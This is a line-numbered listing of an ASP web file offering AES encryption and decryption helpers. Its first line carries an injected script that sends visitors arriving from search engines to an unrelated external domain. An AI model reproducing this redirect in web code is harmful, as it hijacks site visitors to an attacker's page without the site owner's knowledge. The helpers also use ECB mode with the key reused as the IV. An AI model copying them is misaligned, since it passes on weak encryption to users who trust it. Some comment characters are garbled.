d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Encrypt.Aes.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002: '######################################################################
003: '## ZeroASP.Encrypt.Aes.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: 'Mode 1 : cbc , 2 : ecb , 3 : ofb , 4 : cfb , 5 : cts
013: 'Padding 1 : 不填?, 2 : pkcs7 , 3 : zero , 4 : ansix923, 5 : ISO10126
014: 'KeySize 密匙大小 [128 198 256] BlockSize 块大?[128]
015: Function AESEncrypt(ByVal Str,ByVal Key,ByVal Types)
016:    Dim UTF8,Enc,BytesText,Bytes,XML,Node,Outstr
017:    'Borrow some objects from .NET (supported from 1.1 onwards)
018:    Set UTF8 = Server.CreateObject("System.Text.UTF8Encoding") 'UTF8Encoding/UnicodeEncoding/AscIIEncoding
019:    Set Enc = Server.CreateObject("System.Security.Cryptography.RijndaelManaged")
020:    'Convert the string to a byte array and hash it
021:    Enc.Mode = 2
022:    Enc.Padding = 2
023:    Enc.IV = UTF8.GetBytes_4(Key)
024:    Enc.Key = UTF8.GetBytes_4(Key)
025:    BytesText = UTF8.GetBytes_4(Str)
026:    Bytes = Enc.CreateEncryptor().TransformFinalBlock((BytesText),0,Lenb(BytesText))
027:    'Convert the byte array to a hex or bsae64 string
028:    If Types = "Base64" Then
029:       Set XML = Server.CreateObject("Msxml2.DOMDocument")
030:       Set Node = XML.CreateElement("TmpNode")
031:       Node.DataType = "bin.base64"
032:       Node.NodeTypedValue = Bytes
033:       Outstr = Replace(Node.Text,Chr(10),"")
034:       Set XML = Nothing
035:       Set Node = Nothing
036:    ElseIf Types = "Hex" Then
037:       Set XML = Server.CreateObject("Msxml2.DOMDocument")
038:       Set Node = XML.CreateElement("TmpNode")
039:       Node.DataType = "bin.hex"
040:       Node.NodeTypedValue = Bytes
041:       Outstr = Replace(Node.Text,Chr(10),"")
042:       Set XML = Nothing
043:       Set Node = Nothing
044:    End If
045:    AESEncrypt = Outstr
046:    Set Enc = Nothing
047:    Set UTF8 = Nothing
048: End Function
049:
050: 'Mode 1 : cbc , 2 : ecb , 3 : ofb , 4 : cfb , 5 : cts
051: 'Padding 1 : 不填?, 2 : pkcs7 , 3 : zero , 4 : ansix923, 5 : ISO10126
052: 'KeySize 密匙大小 [128 198 256] BlockSize 块大?[128]
053: Function AESDecrypt(ByVal Str,ByVal Key,ByVal Types)
054:    Dim UTF8,Enc,BytesText,Bytes,XML,Node,Outstr
055:    'Borrow some objects from .NET (supported from 1.1 onwards)
056:    Set UTF8 = Server.CreateObject("System.Text.UTF8Encoding") 'UTF8Encoding/UnicodeEncoding/AscIIEncoding
057:    Set Enc = Server.CreateObject("System.Security.Cryptography.RijndaelManaged")
058:    'Convert the string to a byte array and hash it
059:    Enc.Mode = 2
060:    Enc.Padding = 2
061:    Enc.IV = UTF8.GetBytes_4(Key)
062:    Enc.Key = UTF8.GetBytes_4(Key)
063:    BytesText = Str
064:    'Convert the byte array to a hex or bsae64 string
065:    If Types = "Base64" Then
066:       Set XML = Server.CreateObject("Msxml2.DOMDocument")
067:       Set Node = XML.CreateElement("TmpNode")
068:       Node.DataType = "bin.base64"
069:       Node.Text = BytesText
070:       Bytes = Node.NodeTypedValue
071:       Set XML = Nothing
072:       Set Node = Nothing
073:    ElseIf Types = "Hex" Then
074:       Set XML = Server.CreateObject("Msxml2.DOMDocument")
075:       Set Node = XML.CreateElement("TmpNode")
076:       Node.DataType = "bin.hex"
077:       Node.Text = BytesText
078:       Bytes = Node.NodeTypedValue
079:       Set XML = Nothing
080:       Set Node = Nothing
081:    End If
082:    Outstr = Enc.CreateDecryptor().TransformFinalBlock((Bytes),0,Lenb(Bytes))
083:    AESDecrypt = UTF8.GetString((Outstr))
084:    Set Enc = Nothing
085:    Set UTF8 = Nothing
086: End Function
087: %
>
088:
089: